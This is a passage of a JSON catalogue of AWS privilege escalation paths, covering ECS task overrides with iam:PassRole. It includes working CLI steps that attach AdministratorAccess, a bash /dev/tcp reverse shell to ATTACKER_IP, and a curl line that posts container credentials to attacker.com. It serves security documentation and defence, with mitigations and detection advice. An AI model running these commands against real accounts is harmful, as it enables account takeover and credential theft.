          "description": "Choose the credential exfiltration approach: override the container command to retrieve the passed role's temporary credentials from the ECS credentials endpoint and send them to an attacker-controlled server.\n"
        },
        {
          "from": "method_direct",
          "to": "admin",
          "label": "If target role has admin or IAM write permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or permissions to modify IAM (such as iam:AttachRolePolicy, iam:PutRolePolicy, iam:CreateAccessKey), the container command successfully escalates the starting principal to administrator.\n"
        },
        {
          "from": "method_direct",
          "to": "some_perms",
          "label": "If target role has some elevated permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the target role has elevated permissions but not IAM write access, the container command can leverage those permissions for data access or other attacks, but cannot directly modify IAM to elevate the starting principal.\n"
        },
        {
          "from": "method_direct",
          "to": "no_access",
          "label": "If target role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the container command cannot perform meaningful escalation actions.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "admin",
          "label": "If target role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess, the reverse shell provides interactive access with full administrative permissions. The attacker can execute any AWS API call from inside the container.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "some_perms",
          "label": "If target role has some elevated permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the target role has elevated permissions, the reverse shell allows the attacker to interactively explore and leverage those permissions for data access or further attacks.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "no_access",
          "label": "If target role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the reverse shell provides limited value despite offering interactive access.\n"
        },
        {
          "from": "method_exfiltration",
          "to": "admin",
          "label": "If target role has admin permissions",
          "branch": "C1",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess, the exfiltrated credentials provide full administrative access that can be used from the attacker's own environment.\n"
        },
        {
          "from": "method_exfiltration",
          "to": "some_perms",
          "label": "If target role has some elevated permissions",
          "branch": "C2",
          "condition": "some_permissions",
          "description": "If the target role has elevated permissions, the exfiltrated credentials can be used for data access, reconnaissance, or additional privilege escalation attempts from the attacker's environment.\n"
        },
        {
          "from": "method_exfiltration",
          "to": "no_access",
          "label": "If target role has minimal permissions",
          "branch": "C3",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the exfiltrated credentials provide limited value for further attacks.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-02-16T14:01:45Z",
      "lastUpdated": "2026-08-17T19:04:04Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Thomas.Taylor-MacLean",
          "email": "Thomas.Taylor-MacLean@withsecure.com",
          "githubUsername": "WithSecureTTM"
        }
      ]
    },
    "filePath": "data/paths/ecs/ecs-007.yaml"
  },
  {
    "id": "ecs-008",
    "name": "iam:PassRole + ecs:RunTask",
    "category": "new-passrole",
    "services": [
      "iam",
      "ecs"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must cover both the task role ARN (for the taskRoleArn override) and the execution role ARN defined in the existing task definition \u2014 ECS requires PassRole on the execution role even when it is not being changed"
        },
        {
          "permission": "ecs:RunTask",
          "resourceConstraints": "Must have permission to run tasks in the target cluster; an existing task definition must be available to override"
        }
      ],
      "additional": [
        {
          "permission": "ecs:ListClusters",
          "resourceConstraints": "Helpful for discovering available ECS clusters"
        },
        {
          "permission": "ecs:ListTaskDefinitions",
          "resourceConstraints": "Helpful for discovering existing task definitions to exploit with overrides"
        },
        {
          "permission": "ecs:DescribeTasks",
          "resourceConstraints": "Helpful for monitoring task execution status"
        },
        {
          "permission": "ec2:DescribeVpcs",
          "resourceConstraints": "Helpful for finding the default VPC for Fargate network configuration"
        },
        {
          "permission": "ec2:DescribeSubnets",
          "resourceConstraints": "Helpful for finding subnets for Fargate network configuration"
        }
      ]
    },
    "description": "A principal with `iam:PassRole` and `ecs:RunTask` can override an existing ECS task definition's container command and task role at runtime using the `--overrides` parameter \u2014 without needing `ecs:RegisterTaskDefinition`. By overriding the `taskRoleArn` with a privileged role (passed via `iam:PassRole`) and the container command with a malicious payload, the attacker causes the Fargate task to execute arbitrary code with the permissions of the passed role. This is a lower-permission variant of ECS-004, removing the requirement for `ecs:RegisterTaskDefinition` by hijacking an existing task definition instead of creating a new one.",
    "prerequisites": {
      "admin": [
        "An ECS cluster must exist in the account",
        "An existing task definition must be available in the cluster (no ecs:RegisterTaskDefinition required)",
        "A role must exist that trusts ecs-tasks.amazonaws.com with administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "A subnet must be available for Fargate launch type network configuration"
      ],
      "lateral": [
        "An ECS cluster must exist in the account",
        "An existing task definition must be available in the cluster",
        "A role must exist that trusts ecs-tasks.amazonaws.com",
        "A subnet must be available for Fargate launch type network configuration"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws sts get-caller-identity",
          "description": "Get your account ID and verify identity before proceeding"
        },
        {
          "step": 2,
          "command": "aws ecs list-clusters \\\n  --query 'clusterArns' \\\n  --output json\n",
          "description": "Discover available ECS clusters in the account"
        },
        {
          "step": 3,
          "command": "aws ecs list-task-definitions \\\n  --query 'taskDefinitionArns' \\\n  --output json\n",
          "description": "Discover existing task definitions \u2014 select one to hijack with the --overrides parameter (no new task definition registration required)"
        },
        {
          "step": 4,
          "command": "aws ec2 describe-vpcs --filters \"Name=isDefault,Values=true\" --query 'Vpcs[0].VpcId' --output text\naws ec2 describe-subnets \\\n  --filters \"Name=vpc-id,Values=VPC_ID\" \\\n  --query 'Subnets[0].SubnetId' \\\n  --output text\n",
          "description": "Find the default VPC and subnet ID for Fargate network configuration"
        },
        {
          "step": 5,
          "command": "aws ecs run-task \\\n  --cluster CLUSTER_NAME \\\n  --task-definition EXISTING_TASK_DEFINITION \\\n  --launch-type FARGATE \\\n  --network-configuration \"awsvpcConfiguration={subnets=[SUBNET_ID],assignPublicIp=ENABLED}\" \\\n  --overrides '{\n    \"taskRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\",\n    \"containerOverrides\": [{\n      \"name\": \"CONTAINER_NAME\",\n      \"command\": [\"iam\", \"attach-user-policy\", \"--user-name\", \"STARTING_USER\", \"--policy-arn\", \"arn:aws:iam::aws:policy/AdministratorAccess\"]\n    }]\n  }'\n",
          "description": "Run the existing task definition on Fargate, overriding the task role ARN via iam:PassRole and the container command with a payload that escalates the starting principal's privileges"
        },
        {
          "step": 6,
          "command": "aws ecs describe-tasks --cluster CLUSTER_NAME --tasks TASK_ARN",
          "description": "Monitor task status until it reaches STOPPED state, then verify privilege escalation was successful"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative task roles** - Very rarely does an ECS task need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificECSRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"ecs-tasks.amazonaws.com\"\n    }\n  }\n}\n```\n\n\n- Monitor CloudTrail for `ecs:RunTask` calls with a `taskRoleArn` in the `overrides` field \u2014 this is the specific API pattern that enables this attack\n- Monitor CloudTrail for ECS task execution by principals who do not usually run tasks\n- Monitor CloudTrail for roles being passed to ECS that haven't been used before\n- Monitor and alert on ECS task execution with privileged roles\n- Regularly audit ECS task definitions for overly permissive defaults \u2014 if existing task definitions can be run with any role via overrides, that is the attack surface\n- Regularly audit all IAM roles that trust the ECS service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks.\n\nThis path requires an existing task definition in the cluster. The `--overrides` parameter allows overriding the `taskRoleArn` and container commands at runtime without creating a new task definition. This path uses the Fargate launch type and does not require an EC2 container instance \u2014 see ECS-009 for the EC2 launch type equivalent.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Tom Taylor-MacLean and Mohit Gupta",
        "organization": "Reversec",
        "date": 2025,
        "link": "https://labs.reversec.com/posts/2025/08/another-ecs-privilege-escalation-path"
      },
      "derivativeOf": {
        "pathId": "ecs-004",
        "modification": "Removes the requirement for ecs:RegisterTaskDefinition by using the --overrides parameter to override the task role ARN and container command of an existing task definition at runtime"
      }
    },
    "references": [
      {
        "title": "Another ECS Privilege Escalation Path",
        "url": "https://labs.reversec.com/posts/2025/08/another-ecs-privilege-escalation-path"
      },
      {
        "title": "Weaponizing AWS ECS Task Definitions to Steal Credentials From Running Containers",
        "url": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
      },
      {
        "title": "HackTricks - AWS ECS Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/"
      }
    ],
    "relatedPaths": [
      "ecs-004",
      "ecs-005",
      "ecs-007",
      "ecs-009"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L250"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+ecs-runtask",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole` and `ecs:RunTask` permissions. Can be an IAM user or role. No `ecs:RegisterTaskDefinition` is required \u2014 the attack hijacks an existing task definition using the `--overrides` parameter at runtime.\n"
        },
        {
          "id": "fargate_task",
          "label": "New Fargate Task Run (Existing Task Definition)",
          "type": "resource",
          "description": "A new ECS task launched via `ecs:RunTask` against an existing task definition in the cluster. The attacker uses the `--overrides` parameter to replace both the `taskRoleArn` (passing a privileged role via `iam:PassRole`) and the container command with a malicious payload \u2014 without needing to register any new task definition.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the ecs-tasks Service",
          "type": "principal",
          "description": "The IAM role passed to the running task via the `--overrides` `taskRoleArn` field. Must trust `ecs-tasks.amazonaws.com`. Once the task starts, it automatically assumes this role and its temporary credentials are available to the container process. The role's permissions determine the blast radius of the attack.\n"
        },
        {
          "id": "method_direct",
          "label": "Method 1: Override Command (Direct IAM Elevation)",
          "type": "payload",
          "color": "#99ccff",
          "description": "Override the container command with an AWS CLI call that directly elevates the starting principal using the task role's credentials. Because the Fargate task runs with the passed role's permissions, any IAM write action the role is authorized for can be used.\n\nExample override payload:\n- Attach AdministratorAccess to starting principal: `aws iam attach-user-policy --user-name STARTING_USER --policy-arn arn:aws:iam::aws:policy/AdministratorAccess`\n- Create new admin access keys: `aws iam create-access-key --user-name STARTING_USER`\n- Add starting principal to admin group: `aws iam add-user-to-group --user-name STARTING_USER --group-name Admins`\n\nThis is the most direct approach but requires the target role to have IAM write permissions.\n"
        },
        {
          "id": "method_reverse_shell",
          "label": "Method 2: Override Command (Reverse Shell)",
          "type": "payload",
          "color": "#99ccff",
          "description": "Override the container command with a script that establishes a reverse shell to an attacker-controlled server. This gives the attacker an interactive session running as the task role inside the Fargate container.\n\nExample override command:\n```bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n```\n\nThe attacker maintains a listener (e.g., `nc -lvnp 4444`) to catch the connection. Once connected, the AWS CLI uses the task role's credentials automatically via the container's IAM metadata, allowing interactive exploration and exploitation.\n"
        },
        {
          "id": "method_exfiltration",
          "label": "Method 3: Override Command (Credential Exfiltration)",
          "type": "payload",
          "color": "#99ccff",
          "description": "Override the container command with a script that retrieves the task role's temporary credentials from the container credentials endpoint and exfiltrates them to an attacker-controlled server.\n\nExample override command:\n```bash\nCREDS=$(curl -s $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)\ncurl -X POST https://attacker.com/exfil -d \"$CREDS\"\n```\n\nECS tasks receive credentials via the `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` environment variable rather than the EC2 metadata service. The exfiltrated credentials can then be used from any environment until they expire.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The target role has AdministratorAccess or equivalent permissions. Using any of the three exploitation methods, the attacker successfully leverages these permissions to gain full administrative access to the AWS account.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The target role has elevated but non-administrative permissions. The attacker can use the task's execution context to access data (S3, RDS, Secrets Manager) or pivot to additional privilege escalation paths, but cannot immediately gain full admin access.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The target role has only minimal permissions (e.g., `logs:PutLogEvents`). Regardless of the exploitation method used, the privilege escalation provides limited value beyond what the starting principal already has.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "fargate_task",
          "label": "iam:PassRole + ecs:RunTask",
          "description": "Run an existing task definition on Fargate, using `--overrides` to replace the task role ARN (via `iam:PassRole`) and the container command with a malicious payload. No new task definition registration is required.\n\nCommand:\n```bash\naws ecs run-task \\\n  --cluster CLUSTER_NAME \\\n  --task-definition EXISTING_TASK_DEFINITION \\\n  --launch-type FARGATE \\\n  --network-configuration \"awsvpcConfiguration={subnets=[SUBNET_ID],assignPublicIp=ENABLED}\" \\\n  --overrides '{\n    \"taskRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\",\n    \"containerOverrides\": [{\n      \"name\": \"CONTAINER_NAME\",\n      \"command\": [\"iam\", \"attach-user-policy\", \"--user-name\", \"STARTING_USER\", \"--policy-arn\", \"arn:aws:iam::aws:policy/AdministratorAccess\"]\n    }]\n  }'\n```\n"
        },
        {
          "from": "fargate_task",
          "to": "target_role",
          "label": "Task assumes role",
          "description": "When the Fargate task starts, ECS automatically provides the overridden task role's temporary credentials to the container via the `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` environment variable. The container process runs with the full permissions of the passed role from the moment it starts executing.\n"
        },
        {
          "from": "target_role",
          "to": "method_direct",
          "label": "Option A",
          "branch": "A",
          "description": "Choose the direct IAM elevation approach: override the container command with an AWS CLI call that directly modifies IAM permissions for the starting principal using the task role's credentials.\n"
        },
        {
          "from": "target_role",
          "to": "method_reverse_shell",
          "label": "Option B",
          "branch": "B",
          "description": "Choose the reverse shell approach: override the container command with a script that establishes an interactive shell connection back to the attacker, providing hands-on access with the task role's credentials.\n"
        },
        {
          "from": "target_role",
          "to": "method_exfiltration",
          "label": "Option C",
          "branch": "C",
          "description": "Choose the credential exfiltration approach: override the container command with a script that extracts and sends the task role's temporary credentials to an attacker-controlled endpoint for use outside of ECS.\n"
        },
        {
          "from": "method_direct",
          "to": "admin",
          "label": "If target role has admin or IAM write permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or IAM write permissions (e.g., `iam:AttachUserPolicy`, `iam:PutUserPolicy`, `iam:AddUserToGroup`, `iam:CreateAccessKey`), the override command successfully elevates the starting principal to administrator.\n"
        },
        {
          "from": "method_direct",
          "to": "some_perms",
          "label": "If target role has some elevated permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the target role has elevated permissions but lacks IAM write access, the override command can be used to exfiltrate data or perform other privileged actions, but cannot directly modify the starting principal's permissions.\n"
        },
        {
          "from": "method_direct",
          "to": "no_access",
          "label": "If target role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the override command cannot perform useful privileged actions.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "admin",
          "label": "If target role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess, the reverse shell provides interactive command-line access with full administrative permissions inside the Fargate container.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "some_perms",
          "label": "If target role has some permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the target role has some elevated permissions, the reverse shell allows the attacker to interactively explore and leverage those permissions from within the container environment.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "no_access",
          "label": "If target role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the reverse shell provides limited value despite offering interactive access.\n"
        },
        {
          "from": "method_exfiltration",
          "to": "admin",
          "label": "If target role has admin permissions",
          "branch": "C1",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess, the exfiltrated temporary credentials provide full administrative access that can be used from the attacker's own environment until the credentials expire (typically up to 1 hour).\n"
        },
        {
          "from": "method_exfiltration",
          "to": "some_perms",
          "label": "If target role has some permissions",
          "branch": "C2",
          "condition": "some_permissions",
          "description": "If the target role has some elevated permissions, the exfiltrated credentials can be used for data access, reconnaissance, or additional privilege escalation attempts from outside of ECS.\n"
        },
        {
          "from": "method_exfiltration",
          "to": "no_access",
          "label": "If target role has minimal permissions",
          "branch": "C3",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the exfiltrated credentials provide limited value for further attacks.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-02-16T14:01:45Z",
      "lastUpdated": "2026-08-17T19:04:04Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Thomas.Taylor-MacLean",
          "email": "Thomas.Taylor-MacLean@withsecure.com",
          "githubUsername": "WithSecureTTM"
        }
      ]
    },
    "filePath": "data/paths/ecs/ecs-008.yaml"
  },
  {
    "id": "ecs-009",
    "name": "iam:PassRole + ecs:StartTask",
    "category": "new-passrole",
    "services": [
      "iam",
      "ecs"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must cover both the task role ARN (for the taskRoleArn override) and the execution role ARN defined in the existing task definition \u2014 ECS requires PassRole on the execution role even when it is not being changed"
        },
        {
          "permission": "ecs:StartTask",
          "resourceConstraints": "Must have permission to start tasks on an existing EC2 container instance in the target cluster; an existing task definition must be available to override"
        }
      ],
      "additional": [
        {
          "permission": "ecs:ListClusters",
          "resourceConstraints": "Helpful for discovering available ECS clusters"
        },
        {
          "permission": "ecs:ListContainerInstances",
          "resourceConstraints": "Required to retrieve the container instance ARN needed for the StartTask command"
        },
        {
          "permission": "ecs:ListTaskDefinitions",
          "resourceConstraints": "Helpful for discovering existing task definitions to exploit with overrides"
        },
        {
          "permission": "ecs:DescribeTasks",
          "resourceConstraints": "Helpful for monitoring task execution status"
        },
        {
          "permission": "ec2:DescribeSubnets",
          "resourceConstraints": "Helpful for finding subnets if network configuration is needed"
        },
        {
          "permission": "ec2:DescribeSecurityGroups",
          "resourceConstraints": "Helpful for finding security groups if network configuration is needed"
        }
      ]
    },
    "description": "A principal with `iam:PassRole` and `ecs:StartTask` can override an existing ECS task definition's container command and task role at runtime using the `--overrides` parameter, then start the task on an existing EC2 container instance \u2014 without needing `ecs:RegisterTaskDefinition` or `ecs:RegisterContainerInstance`. By overriding the `taskRoleArn` with a privileged role (passed via `iam:PassRole`) and the container command with a malicious payload, the attacker causes the task to execute arbitrary code with the passed role's permissions. This is the EC2 launch type equivalent of ECS-008, and a lower-permission variant of ECS-005 that removes the requirement for `ecs:RegisterTaskDefinition`.",
    "prerequisites": {
      "admin": [
        "An ECS cluster must exist with at least one registered EC2 container instance",
        "An existing task definition must be available in the cluster (no ecs:RegisterTaskDefinition required)",
        "A role must exist that trusts ecs-tasks.amazonaws.com with administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "An ECS cluster must exist with at least one registered EC2 container instance",
        "An existing task definition must be available in the cluster",
        "A role must exist that trusts ecs-tasks.amazonaws.com"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws sts get-caller-identity",
          "description": "Get your account ID and verify identity before proceeding"
        },
        {
          "step": 2,
          "command": "aws ecs list-clusters \\\n  --query 'clusterArns' \\\n  --output json\n",
          "description": "Discover available ECS clusters in the account"
        },
        {
          "step": 3,
          "command": "aws ecs list-container-instances \\\n  --cluster CLUSTER_NAME \\\n  --query 'containerInstanceArns[0]' \\\n  --output text\n",
          "description": "Retrieve the container instance ARN from the target cluster \u2014 this is required for the StartTask command (unlike RunTask, StartTask requires specifying an EC2 container instance)"
        },
        {
          "step": 4,
          "command": "aws ecs list-task-definitions \\\n  --query 'taskDefinitionArns' \\\n  --output json\n",
          "description": "Discover existing task definitions to hijack with the --overrides parameter \u2014 no new task definition registration required"
        },
        {
          "step": 5,
          "command": "aws ecs start-task \\\n  --cluster CLUSTER_NAME \\\n  --task-definition EXISTING_TASK_DEFINITION \\\n  --container-instances CONTAINER_INSTANCE_ARN \\\n  --overrides '{\n    \"taskRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\",\n    \"containerOverrides\": [{\n      \"name\": \"CONTAINER_NAME\",\n      \"command\": [\"iam\", \"attach-user-policy\", \"--user-name\", \"STARTING_USER\", \"--policy-arn\", \"arn:aws:iam::aws:policy/AdministratorAccess\"]\n    }]\n  }'\n",
          "description": "Start the existing task definition on the target EC2 container instance, overriding the task role ARN via iam:PassRole and the container command with a payload that escalates the starting principal's privileges"
        },
        {
          "step": 6,
          "command": "aws ecs describe-tasks --cluster CLUSTER_NAME --tasks TASK_ARN",
          "description": "Monitor task status until it reaches STOPPED state, then verify privilege escalation was successful"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative task roles** - Very rarely does an ECS task need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificECSRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"ecs-tasks.amazonaws.com\"\n    }\n  }\n}\n```\n\n\n- Monitor CloudTrail for `ecs:StartTask` calls with a `taskRoleArn` in the `overrides` field \u2014 this is the specific API pattern that enables this attack\n- Monitor CloudTrail for ECS task execution by principals who do not usually start tasks\n- Monitor CloudTrail for roles being passed to ECS that haven't been used before\n- Monitor and alert on ECS task execution with privileged roles\n- Regularly audit ECS task definitions for overly permissive defaults \u2014 if existing task definitions can be started with any role via overrides, that is the attack surface\n- Regularly audit all IAM roles that trust the ECS service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks.\n\nThis path requires an existing EC2 container instance registered to the ECS cluster. Unlike ECS-008 (Fargate via ecs:RunTask), this path uses the EC2 launch type and requires specifying a container instance ARN. It cannot be used to start Fargate tasks. If no container instance exists in the cluster, ECS-007 demonstrates how `ecs:RegisterContainerInstance` can be used to register one.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "source": "pathfinding.cloud",
        "date": 2025
      },
      "derivativeOf": {
        "pathId": "ecs-005",
        "modification": "Removes the requirement for ecs:RegisterTaskDefinition by using the --overrides parameter to override the task role ARN and container command of an existing task definition at runtime"
      },
      "ultimateOrigin": {
        "pathId": "ecs-004",
        "author": "Nick Spagnola",
        "organization": "Rhino Security Labs",
        "date": 2020,
        "link": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
      }
    },
    "references": [
      {
        "title": "Weaponizing AWS ECS Task Definitions to Steal Credentials From Running Containers",
        "url": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
      }
    ],
    "relatedPaths": [
      "ecs-005",
      "ecs-007",
      "ecs-008"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+ecs-starttask",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/c610d9ac3157a8ffd3ca43353febc5817e50fb86/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L371"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `iam:PassRole` and `ecs:StartTask` permissions. Can be an IAM user or role. This path requires an existing ECS cluster with at least one registered EC2 container instance and an existing task definition to override \u2014 no `ecs:RegisterTaskDefinition` or `ecs:RegisterContainerInstance` required.\n"
        },
        {
          "id": "ecs_task",
          "label": "New Running ECS Task",
          "type": "resource",
          "description": "An ECS task started on an existing EC2 container instance via `ecs:StartTask`. The `--overrides` parameter is used at runtime to replace both the task's `taskRoleArn` (passing the privileged role via `iam:PassRole`) and the container command (injecting a malicious payload) \u2014 all without registering a new task definition.\n\nThe container instance ARN must be retrieved in advance (e.g., via `ecs:ListContainerInstances`), as `ecs:StartTask` requires specifying an exact EC2 container instance rather than letting ECS schedule placement.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the ecs-tasks Service",
          "type": "principal",
          "description": "The IAM role passed to the task via the `taskRoleArn` override. Must trust `ecs-tasks.amazonaws.com`. The task automatically assumes this role at runtime, making its credentials available to the container process for executing AWS API calls.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target role has AdministratorAccess or equivalent permissions, the attacker gains full administrative access to the AWS account. The overridden container command executes with those permissions \u2014 for example, attaching `AdministratorAccess` directly to the starting principal.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target role has elevated but non-administrative permissions, the attacker gains partial privilege escalation. The overridden container command can still leverage those permissions for data access, lateral movement, or further escalation attempts.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target role only has minimal permissions (e.g., `logs:PutLogEvents`), the overridden container command yields little to no meaningful privilege escalation.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "ecs_task",
          "label": "iam:PassRole + ecs:StartTask",
          "description": "Start an existing ECS task definition on a specific EC2 container instance, using `--overrides` to replace the `taskRoleArn` with a privileged role (via `iam:PassRole`) and the container command with a malicious payload. No new task definition registration is required.\n\nCommand:\n```bash\naws ecs start-task \\\n  --cluster CLUSTER_NAME \\\n  --task-definition EXISTING_TASK_DEFINITION \\\n  --container-instances CONTAINER_INSTANCE_ARN \\\n  --overrides '{\n    \"taskRoleArn\": \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\",\n    \"containerOverrides\": [{\n      \"name\": \"CONTAINER_NAME\",\n      \"command\": [\"iam\", \"attach-user-policy\", \"--user-name\", \"STARTING_USER\", \"--policy-arn\", \"arn:aws:iam::aws:policy/AdministratorAccess\"]\n    }]\n  }'\n```\n"
        },
        {
          "from": "ecs_task",
          "to": "target_role",
          "label": "Task assumes role and executes",
          "description": "The ECS task automatically assumes the role specified in the `taskRoleArn` override when it starts on the container instance. The overridden container command then runs with that role's temporary credentials available via the ECS task metadata endpoint.\n"
        },
        {
          "from": "target_role",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent IAM write permissions, the overridden container command successfully escalates the starting principal to full administrative access.\n"
        },
        {
          "from": "target_role",
          "to": "partial_outcome",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has some elevated permissions but not full admin, the overridden container command can leverage those permissions for data access, security configuration changes, or further privilege escalation paths.\n"
        },
        {
          "from": "target_role",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the overridden container command cannot effectively escalate privileges or perform impactful actions.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-05-31T01:32:59Z",
      "lastUpdated": "2026-08-04T11:07:33Z",
      "contributors": [
        {
          "name": "Daniel Barranquero",
          "email": "daniel@prowler.com",
          "githubUsername": "danibarranqueroo"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/ecs/ecs-009.yaml"
  },
  {
    "id": "emr-001",
    "name": "iam:PassRole + elasticmapreduce:RunJobFlow",
    "category": "new-passrole",
    "services": [
      "iam",
      "emr"
    ],
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Must be able to pass both the EC2 instance profile role and the EMR service role to the EMR service"
        },
        {
          "permission": "elasticmapreduce:RunJobFlow",
          "resourceConstraints": "No resource constraints required"
        }
      ],
      "additional": [
        {
          "permission": "elasticmapreduce:DescribeCluster",
          "resourceConstraints": "Useful for polling cluster state to confirm execution"
        },
        {
          "permission": "elasticmapreduce:DescribeStep",
